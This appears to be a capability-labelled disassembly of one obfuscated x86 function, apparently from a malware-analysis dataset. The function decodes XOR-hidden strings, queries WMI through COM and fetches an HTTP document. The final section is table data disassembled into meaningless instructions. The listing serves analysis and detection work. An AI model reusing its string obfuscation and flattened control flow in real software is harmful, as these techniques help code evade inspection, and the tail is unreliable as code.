Function at 0x43bf80
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov ebx, dword [ebp + 8]
mov eax, dword [0x45143c]
mov dword [esp], 0x89278bf7
mov dword [esp + 4], 0x850b870f
mov dword [esp + 8], 0x81398308
mov dword [esp + 0xc], 0x9dc29f33
mov dword [esp + 0x10], 0x992d9b12
mov dword [esp + 0x14], 0x952d9712
mov dword [esp + 0x18], 0x919293ef
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa3
xor dl, byte [esp + ecx]
add dl, 0xd1
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 0x1f
jne case.default.0x43c00c
lea ecx, [esp + 0x50]
lea edi, [esp + 0x7c]
mov edx, esp
push ecx
push 8
push edi
push 0xd
push edx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ecf8]
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x44], 0
lea eax, [esp + 0x44]
push eax
push 0x448a98
push 1
push 0
push 0x448aa8
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ed00]
jmp dword [0x44ed0c]
mov dword [esp], 0x834d8152
mov dword [esp + 4], 0x8752854b
mov word [esp + 8], 0x8954
nop
mov dword [esp], 0x834d8152
mov dword [esp + 4], 0x8752854b
mov dword [esp + 8], 0x8b498954
mov dword [esp + 0xc], 0x8f438d45
mov dword [esp + 0x10], 0x93609146
mov dword [esp + 0x14], 0x9594
mov byte [esp + 0x18], 0
jmp dword [0x44ed14]
xor eax, eax
cmp eax, 0x18
ja 0x43c119
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax]
mov ecx, eax
or ecx, 0x233e29e0
xor ecx, edx
mov edx, ecx
not edx
and edx, 1
mov esi, 0x60
sub esi, ecx
and ecx, 1
and esi, 0xfe
or esi, ecx
xor esi, 0xfe
lea ecx, [esi + edx*2]
mov byte [esp + eax], cl
inc eax
cmp eax, 0x18
jbe 0x43c0e0
mov eax, esp
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
lea edx, [esp + 0x40]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ed18]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x5c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ed20]
mov dword [esp], 0x19c51bc5
mov dword [esp + 4], 0xe5e6e7cc
mov word [esp + 8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x7b
xor cl, byte [esp + eax]
add cl, 0x99
mov byte [esp + eax], cl
inc eax
cmp eax, 0xa
jne 0x43c190
mov eax, esp
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x48], eax
mov dword [esp], 0x418947b9
mov dword [esp + 4], 0x4d8d43b4
mov dword [esp + 8], 0x49b24f81
mov dword [esp + 0xc], 0x75604b68
mov dword [esp + 0x10], 0x71b87754
mov dword [esp + 0x14], 0x7d837382
mov dword [esp + 0x18], 0x795e7f8b
mov dword [esp + 0x1c], 0x65917b81
mov dword [esp + 0x20], 0x61bb67f2
mov dword [esp + 0x24], 0x6d8363b2
mov dword [esp + 0x28], 0x69a56fae
mov dword [esp + 0x2c], 0x15976b99
mov dword [esp + 0x30], 0x1714
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x91
xor cl, byte [esp + eax]
add cl, 0x2b
mov byte [esp + eax], cl
inc eax
cmp eax, 0x34
jne case.default.0x43c264
mov eax, esp
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, eax
mov dword [esp + 0x64], esi
mov eax, dword [esp + 0x40]
mov esi, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0x30
mov dword [esp + 0x6c], ecx
push ecx
push dword [esp + 0x58]
push eax
call dword [esi + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ed28]
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
lea edx, [esp + 0x4c]
lea esi, [esp + 0x38]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x4c], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44ed30]
jmp dword [0x44ed78]
jmp dword [0x44ed38]
lea esi, [esp + 0x68]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x38]
mov dword [esp], 0x9ffb99cf
mov dword [esp + 4], 0xa3cb9dea
mov dword [esp + 8], 0xa7caa1c1
mov dword [esp + 0xc], 0xabdfa5f6
mov dword [esp + 0x10], 0xafc8a9c5
mov dword [esp + 0x14], 0xb3c4adc9
mov word [esp + 0x18], 0xb1b0
mov dword [esp + 0x1a], 0
mov word [esp + 0x1e], 0
mov ecx, 0x3ac6ef97
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x3ac6ef97]
lea edi, [ecx - 0x3ac6ef7d]
and edi, edx
add edi, edi
sub edx, edi
add edx, ecx
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
mov byte [esp + ecx - 0x3ac6ef97], dl
inc ecx
cmp ecx, 0x3ac6efb7
jne 0x43c320
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x10]
push edx
push eax
call dword [ecx + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea esi, [esp + 0x68]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x38]
mov dword [esp], 0x9ffb99cf
mov dword [esp + 4], 0xa3cb9dea
mov dword [esp + 8], 0xa7caa1c1
mov dword [esp + 0xc], 0xabdfa5f6
mov dword [esp + 0x10], 0xafc8a9c5
mov dword [esp + 0x14], 0xb3c4adc9
mov word [esp + 0x18], 0xb1b0
mov dword [esp + 0x1a], 0
mov word [esp + 0x1e], 0
mov ecx, 0x3ac6ef97
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x3ac6ef97]
lea edi, [ecx - 0x3ac6ef7d]
and edi, edx
add edi, edi
sub edx, edi
add edx, ecx
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
mov byte [esp + ecx - 0x3ac6ef97], dl
inc ecx
cmp ecx, 0x3ac6efb7
jne 0x43c3d0
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x10]
push edx
push eax
call dword [ecx + 0x10]
jmp dword [0x44ed40]
test eax, eax
setns al
cmp word [esp + 0x68], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44ed48]
mov eax, dword [esp + 0x70]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x34], eax
je 0x43c477
add eax, 2
xor edi, edi
jmp 0x43c456
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43c479
cmp cx, 0x7f
jbe 0x43c44a
movzx edx, cx
cmp edx, 0x7ff
ja 0x43c46c
add edi, 2
jmp 0x43c44b
cmp cx, 0xffff
je 0x43c44b
add edi, 3
jmp 0x43c44b
xor edi, edi
lea eax, [edi + 1]
mov esi, eax
push eax
call fcn.0040cdd0
add esp, 4
push dword [esp + 0x34]
push esi
mov dword [esp + 0x3c], eax
push eax
call fcn.0040d760
add esp, 0xc
xor esi, esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44ed60]
mov ecx, esi
and ecx, 4
mov edx, esi
or edx, 4
imul edx, ecx
xor ecx, 4
mov eax, esi
and eax, 0xfffffffb
imul eax, ecx
add edx, dword [esp + 0x34]
mov eax, dword [eax + edx]
mov dword [esp + esi*4 + 0x50], eax
mov eax, edi
not eax
and eax, 4
and edi, 0xfffffffb
sub edi, eax
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44ed68]
inc esi
xor ecx, ecx
cmp esi, 4
setb cl
jmp dword [ecx*4 + 0x44ed60]
lea esi, [esp + 0x68]
jmp dword [0x44ed70]
push dword [esp + 0x34]
call fcn.0040cde0
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edi, [esp + 0x7c]
mov eax, dword [esp + 0x38]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x44ed78]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x44ed80]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x48]
call esi
push dword [esp + 0x60]
call esi
mov esi, dword [esp + 0x64]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp], 0
push 0x72a7c387
push dword [0x451434]
call fcn.004442e0
add esp, 8
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ed88]
mov eax, dword [esp]
mov dword [esp + 0x50], eax
xor esi, esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44ed90]
xor ecx, ecx
test esi, esi
setne cl
mov eax, esi
jmp dword [ecx*4 + 0x44ed98]
xor ecx, ecx
cmp dword [esp + esi*4 + 0x50], 0
sete cl
mov eax, esi
jmp dword [ecx*4 + 0x44eda0]
mov eax, esi
and eax, 0xfffffffe
mov ecx, esi
not ecx
and ecx, 1
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x50]
mov ecx, eax
or ecx, 0x1a5845
mov edx, eax
and edx, 0x1a5845
imul ecx, edx
xor edx, 0x1a5845
and eax, 0xffe5a7ba
imul eax, edx
add eax, ecx
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x50], eax
mov edi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.00423730
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + edi + 9], 0
lea edi, [edi + 1]
jne case.default.0x43c674
xor edx, edx
cmp edi, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x44eda8]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp edi, ecx
setne dl
jmp dword [edx*4 + 0x44eda8]
add ebx, 8
inc esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44ed90]
mov eax, dword [case.0x43c264.36]
nop
nop
nop
nop
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
inc ebx
xor eax, eax
mov ecx, dword [ebp - 0x1c]
cmp ebx, dword [ecx]
setb al
jmp dword [eax*4 + 0x44ede0]
mov eax, dword [ecx + ebx*4 + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.0043ea80
xor eax, eax
mov ecx, dword [ebp + 0xc]
neg ecx
mov ecx, dword [ebp + 0x10]
sbb eax, ecx
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.0043eab0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44edf8]
jmp dword [0x44ee00]
mov ecx, esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
call fcn.0043ed00
test eax, eax
setns al
mov dword [ebp - 0x10], eax
jmp dword [0x44ee00]
mov ecx, esi
call fcn.0043ec30
mov ecx, esi
call fcn.0043ec30
jmp dword [0x44ee08]
push 0x400
call fcn.0043e6f0
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], edi
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x2c2d2e2f
mov word [ebp - 0x14], 0
xor ecx, ecx
mov edi, 0x47
movzx ebx, byte [ebp + ecx - 0x18]
mov edx, edi
and edx, 0x45
mov eax, ecx
and eax, 2
or eax, edx
xor eax, 0x45
or eax, ecx
or eax, 0xb8
and eax, ebx
or ebx, ecx
or ebx, 0xb8
xor ebx, eax
add bl, 0x68
mov byte [ebp + ecx - 0x18], bl
inc ecx
dec edi
cmp ecx, 6
jne 0x43c7a0
mov eax, dword [ebp - 0x18]
mov edx, dword [0x451440]
test edx, edx
mov esi, dword [ebp - 0x28]
je case.default.0x43c838
xor ecx, ecx
mov ebx, dword [0x451444]
mov edi, dword [ebp - 0x10]
cmp dword [ebx + ecx*8], 0x7cde1e50
je 0x43c800
inc ecx
cmp edx, ecx
jne 0x43c7f0
jmp case.default.0x43c838
mov ecx, dword [ebx + ecx*8 + 4]
cmp ecx, eax
je case.default.0x43c838
push 0x2f
push 0x400
push dword [ebp - 0x1c]
push edi
push dword [ebp - 0x20]
push 5
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x20
not eax
shr eax, 0x1f
xor edi, edi
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44edd8]
xor eax, eax
cmp edi, dword [ecx]
setb al
mov dword [ebp - 0x10], 0
xor ebx, ebx
jmp dword [eax*4 + 0x44ede0]
mov eax, dword [case.0x43c838.0]
nop
nop
nop
nop
nop
jmp eax
push ecx
call fcn.0043e770
add esp, 4
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x18], 0x2c2d2e2f
mov word [ebp - 0x14], 0
mov ecx, 0x47
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + edi - 0x18]
mov ebx, ecx
and ebx, 0x45
mov esi, edi
and esi, 2
or esi, ebx
xor esi, 0x45
or esi, edi
or esi, 0xb8
and esi, edx
or edx, edi
or edx, 0xb8
xor edx, esi
add dl, 0x68
mov byte [ebp + edi - 0x18], dl
inc edi
dec ecx
cmp edi, 6
jne 0x43c890
mov ecx, dword [0x451440]
test ecx, ecx
je 0x43c90a
mov edx, dword [ebp - 0x18]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x43c8f0
inc esi
cmp ecx, esi
jne 0x43c8e0
jmp 0x43c90a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43c90a
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
mov eax, dword [ebp - 0x10]
and al, 1
jmp 0x43c925
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], esi
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44edd0]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov eax, esp
push 0x68
push 7
push 0x100080
push eax
push dword [ebp + 8]
call fcn.00444c30
add esp, 0x14
push eax
mov edi, esp
sub esp, 8
mov esi, esp
sub esp, 0x10
mov ebx, esp
push 0x68
push 7
push 0x100080
push edi
push dword [ebp + 8]
call fcn.00444c30
add esp, 0x14
jmp dword [0x44edcc]
mov word [esi], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
mov ebp, esi
jmp dword [eax*4 + 0x44ee18]
xor eax, eax
cmp word [esi], 0
sete al
jmp dword [eax*4 + 0x44ef18]
xor ecx, ecx
cmp word [esi + 2], 0x3a
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44ef20]
mov esi, dword [esp + 0x30]
mov edx, dword [esp + 8]
lea ebp, [ebp + edi*2]
lea edx, [edx + edi*2]
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
xor edi, edi
test bx, bx
je 0x43ccf2
mov ecx, ebx
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp cx, 0x5c
je 0x43ccf0
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x43ccd0
jmp 0x43ccf2
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44ee20]
xor eax, eax
sub edi, edx
sete al
sar edi, 1
lea ecx, [edi + 1]
jmp dword [eax*4 + 0x44ee38]
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, eax
add eax, 2
cmp word [edi], 0
jne case.default.0x43cd47
xor eax, eax
sub edi, edx
sete al
sar edi, 1
lea ecx, [edi + 1]
jmp dword [eax*4 + 0x44ee38]
xor eax, eax
cmp bx, 0x5c
sete al
jmp dword [eax*4 + 0x44ee50]
xor eax, eax
cmp ecx, 2
sete al
jmp dword [eax*4 + 0x44ee58]
xor eax, eax
cmp bx, 0x2e
sete al
jmp dword [eax*4 + 0x44ee60]
xor eax, eax
cmp ecx, 3
sete al
jmp dword [eax*4 + 0x44eeb8]
xor eax, eax
cmp bx, 0x2e
sete al
jmp dword [eax*4 + 0x44eec0]
xor eax, eax
cmp word [edx + 2], 0x2e
sete al
jmp dword [eax*4 + 0x44eec8]
test ecx, ecx
je 0x43cc9b
mov dword [esp + 4], ebp
mov ebp, ecx
and ebp, 3
je 0x43ce6a
mov dword [esp], ecx
xor ecx, ecx
mov ebx, dword [esp + 4]
mov dword [esp + 8], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [edx]
xor eax, eax
test si, si
setne al
lea edx, [edx + eax*2]
mov word [ebx], si
add ebx, 2
inc ecx
cmp ebp, ecx
jne 0x43cde0
mov eax, dword [esp]
sub eax, ecx
mov ecx, eax
mov ebp, dword [esp + 4]
cmp edi, 3
jb 0x43cc93
jmp case.default.0x43ccb3
mov word [ebp], 0x5c
add ebp, 2
add edx, 2
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
xor eax, eax
cmp word [edx + 2], 0
sete al
jmp dword [eax*4 + 0x44ee68]
mov eax, dword [case.0x43ccf9.28]
add edx, 4
nop
nop
nop
jmp eax
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
mov ebp, dword [esp + 4]
mov ebx, ebp
mov dword [esp + 8], edx
cmp edi, 3
jb 0x43cc93
xor eax, eax
mov dword [esp], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [edx]
xor ecx, ecx
test si, si
setne cl
lea ebp, [edx + ecx*2]
mov word [ebx + eax*2], si
movzx ecx, word [edx + ecx*2]
xor edx, edx
test cx, cx
setne dl
lea esi, [edx*2]
add esi, ebp
mov word [ebx + eax*2 + 2], cx
movzx ecx, word [ebp + edx*2]
xor edx, edx
test cx, cx
setne dl
lea ebp, [esi + edx*2]
mov word [ebx + eax*2 + 4], cx
movzx ecx, word [esi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea edx, [edx*2]
add edx, ebp
mov word [ebx + eax*2 + 6], cx
mov ecx, dword [esp]
add eax, 4
cmp ecx, eax
jne 0x43ce90
mov esi, dword [esp + 0x30]
mov edx, dword [esp + 8]
mov ebp, dword [esp + 4]
jmp 0x43cc9b
add edx, 2
xor eax, eax
cmp ebp, esi
seta al
jmp dword [eax*4 + 0x44ee70]
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
movzx ebx, word [esi]
xor eax, eax
test bx, bx
sete al
jmp dword [eax*4 + 0x44eed0]
mov edi, ebp
mov ebp, edx
lea eax, [edx + 2]
mov dword [esp], eax
mov dword [esp + 0xc], 0xf91efb3a
mov word [esp + 0x10], 0xe7f8
mov dword [esp + 0x12], 0
mov eax, 0x2fe37fab
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x2fe37f9f]
lea edx, [eax - 0x2fe37f00]
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0x28
xor ecx, 0xa8
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x2fe37f9f], cl
inc eax
cmp eax, 0x2fe37fb5
jne 0x43cf70
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, word [esi + eax + 2]
movzx edx, word [esp + eax + 0xc]
test cx, cx
je 0x43cfc7
add eax, 2
cmp cx, dx
je 0x43cfb0
xor eax, eax
cmp cx, dx
setne al
mov edx, ebp
mov ebp, edi
jmp dword [eax*4 + 0x44eed8]
xor eax, eax
cmp bx, 0x5c
sete al
jmp dword [eax*4 + 0x44eee0]
xor eax, eax
xor al, 1
movzx eax, al
jmp dword [eax*4 + 0x44eee8]
mov eax, ebp
add eax, 0xfffffffe
xor ecx, ecx
cmp eax, esi
setae cl
mov ebp, esi
jmp dword [ecx*4 + 0x44eef0]
movzx ecx, word [esi]
xor eax, eax
test cx, cx
sete al
jmp dword [eax*4 + 0x44ee78]
mov word [esp], cx
mov dword [esp + 4], ebp
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0x630e612a
mov word [esp + 0x10], 0x6564
lea eax, [esp + 0x12]
mov word [eax + 4], 0
mov dword [eax], 0
xor ebx, ebx
mov edx, 0x2e50f397
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx + 0xc]
lea esi, [ebx + 0x1af0c68]
and esi, 0x1a6045d
mov ecx, edx
and ecx, 0x2c40b302
or ecx, esi
xor ecx, eax
xor ecx, 0xc3b644dd
lea edi, [edx - 0x2e50f300]
mov esi, edi
and esi, 0x92
mov ebp, ebx
and ebp, 0xd
or ebp, esi
xor ebp, 5
or ebp, edi
and edi, eax
or edi, ecx
and ebp, eax
not edi
or edi, ebp
add edi, 0xa794c1f7
mov eax, edi
and eax, 1
xor edi, 1
lea eax, [edi + eax*2]
mov byte [esp + ebx + 0xc], al
inc ebx
dec edx
cmp ebx, 0xc
jne 0x43d060
xor eax, eax
mov esi, dword [esp + 0x30]
nop
nop
nop
nop
nop
nop
nop
movzx ecx, word [esi + eax + 2]
movzx edx, word [esp + eax + 0xc]
test cx, cx
je 0x43d0e7
add eax, 2
cmp cx, dx
je 0x43d0d0
xor eax, eax
cmp cx, dx
setne al
mov edx, dword [esp + 8]
mov ebp, dword [esp + 4]
movzx ecx, word [esp]
jmp dword [eax*4 + 0x44ee80]
xor eax, eax
cmp cx, 0x5c
sete al
jmp dword [eax*4 + 0x44ee88]
xor eax, eax
xor al, 1
movzx eax, al
jmp dword [eax*4 + 0x44ee90]
add ebp, 0xfffffffe
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
cmp word [esi + 2], 0
sete al
xor al, 1
movzx eax, al
jmp dword [eax*4 + 0x44eee8]
xor eax, eax
cmp word [edx + 4], 0x5c
sete al
jmp dword [eax*4 + 0x44ef10]
mov edx, dword [esp]
add edx, 4
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
cmp word [esi + 2], 0
sete al
xor al, 1
movzx eax, al
jmp dword [eax*4 + 0x44ee90]
add ebp, 0xfffffffe
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
add edx, 4
mov word [ebp], 0
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
jmp dword [eax*4 + 0x44ee18]
mov ebp, eax
xor eax, eax
cmp word [ebp], 0x5c
sete al
jmp dword [eax*4 + 0x44eef8]
mov eax, ebp
add eax, 0xfffffffe
xor ecx, ecx
cmp eax, esi
setae cl
mov ebp, esi
jmp dword [ecx*4 + 0x44eef0]
mov eax, dword [case.0x43ccf9.52]
nop
nop
nop
jmp eax
mov dword [esi], 0x5c
xor ecx, ecx
cmp word [esi + 2], 0x3a
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44ef20]
xor ecx, ecx
cmp word [esi + 4], 0
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44ef28]
mov dword [esi + 4], 0x5c
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], 0xd9dadbf4
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor eax, eax
xor ecx, ecx
nop
mov edi, ecx
xor edi, 0xb1
mov edx, eax
and edx, 0xc
sub edx, edi
xor dl, byte [esp + ecx]
add dl, 0x75
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 7
jne 0x43e7a0
mov eax, dword [esp]
mov eax, dword fs:[eax]
mov edi, dword [eax + 0x18]
mov ebx, dword [0x45946c]
jmp dword [0x44f1f8]
push esi
push 0
push edi
call ebx
nop
nop
nop
nop
push esi
push 0
push edi
call ebx
jmp dword [0x44f1fc]
add esp, 8
pop esi
pop edi
pop ebx
ret
int3
imul edx, dword [ecx], 0xdf3fc920
or byte [edx + 0x3a296ace], dh
fcmove st(0), st(5)
cli
jecxz case.0x43c00c.21
push eax
xor dword [edx - 0x2469782e], esp
fistp dword [edi + 0x686fa9c5]
invalid
xchg edi, eax
pop es
jnp 0x44ed4b
arpl cx, si
int1
sbb byte [edx], bh
add dword [esi - 0x4dfeaeb8], edi
inc edx
ret 0x8046
rol byte [ebx], 0x13
rol byte [ebx], 0x81
lds eax, [ebx]
jae 0x44ecc6
inc ebx
add byte [ecx - 0x40], bh
inc ebx
add byte [eax - 0x6fffbc40], dl
rol byte [ebx], 0x90
rol byte [ebx], 0x90
rol byte [ebx], 0xca
rol byte [ebx], 0x70
lds eax, [ebx]
dec esp
rol dword [ebx], 102
lds eax, [ebx]
jo 0x44ece7
inc ebx
add byte [eax - 0x3b], dl
lds eax, [ebx]
imul eax, edx, 0x43
lds eax, [ebx]
imul eax, edx, 0x43
add byte [edx + eax*8 - 0x3d4dffbd], ch
inc ebx
add byte [eax - 0x3d], dh
inc ebx
add byte [eax + 0x190043c2], bh
les eax, [ebx]
jo 0x44ed09
inc ebx
add byte [eax*8 - 0x3bccffbd], dl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x1ffbc3a], bh
add byte [ebx], dh
les eax, [ebx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov edx, 0xfe0043c6
les eax, [ebx]
mov al, 0xc4
inc ebx
add dh, ch
les eax, [ebx]
inc ah
inc ebx
add byte [eax], cl
lds eax, [ebx]
adc al, 0xc5
inc ebx
add byte [eax - 0x3b], al
inc ebx
add byte [edi], ch
lds eax, [ebx]
push eax
lds eax, [ebx]
inc eax
lds eax, [ebx]
cmpsd dword [esi], dword es:[edi]
mov byte [ebx], 189
lds eax, [ebx]
cmpsd dword [esi], dword es:[edi]
mov byte [ebx], 224
lds eax, [ebx]
adc esi, eax
inc ebx
add al, dh
lds eax, [ebx]
adc esi, eax
inc ebx
add byte [ebx], al
mov byte [ebx], 0x94
mov byte [ebx], 0x80
mov byte [ebx], 0xb0
mov byte [ebx], 0xb0
mov byte [ebx], 0xb0
mov byte [ebx], 0xb2
mov byte [ebx], 0x2d
leave
inc ebx
add byte [ebp - 0x37], al
inc ebx
add byte [0x110043c9], ch
leave
inc ebx
add byte [ebx], ah
leave
inc ebx
add byte [edi + eax*8 + 0x43], dh
add byte [edx - 0x38], ah
enter 0x43, 0x3f
enter 0x43, 0x3f
enter 0x43, 0x56
enter 0x43, 0xffffffffffffffe2
mov byte [ebx], 0x60
enter 0x43, 0x60
enter 0x43, 0x60
enter 0x43, 0x62
enter 0x43, 0x37
mov dword [ebx], case.0x43c838.9
mov dword [bp + di], case.0x43c838.11
rol dh, 1
inc ebx
add byte [eax - 0x39], ah
inc ebx
add byte [edi - 0x34], dl
inc ebx
add byte [0x700043d2], dh
int3
int 0x43
add byte [eax], ah
int 0x43
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
int 0x43
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x33], bl
inc ebx
add byte [esi - 0x33], cl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x33], cl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x33], bl
inc ebx
add byte [eax], dl
into
inc ebx
add byte [ebp - 0x33], bh
inc ebx
add byte [ebp - 0x33], ch
inc ebx
add byte [ebp - 0x33], bh
inc ebx
add byte [esi + ecx*8], dh
inc ebx
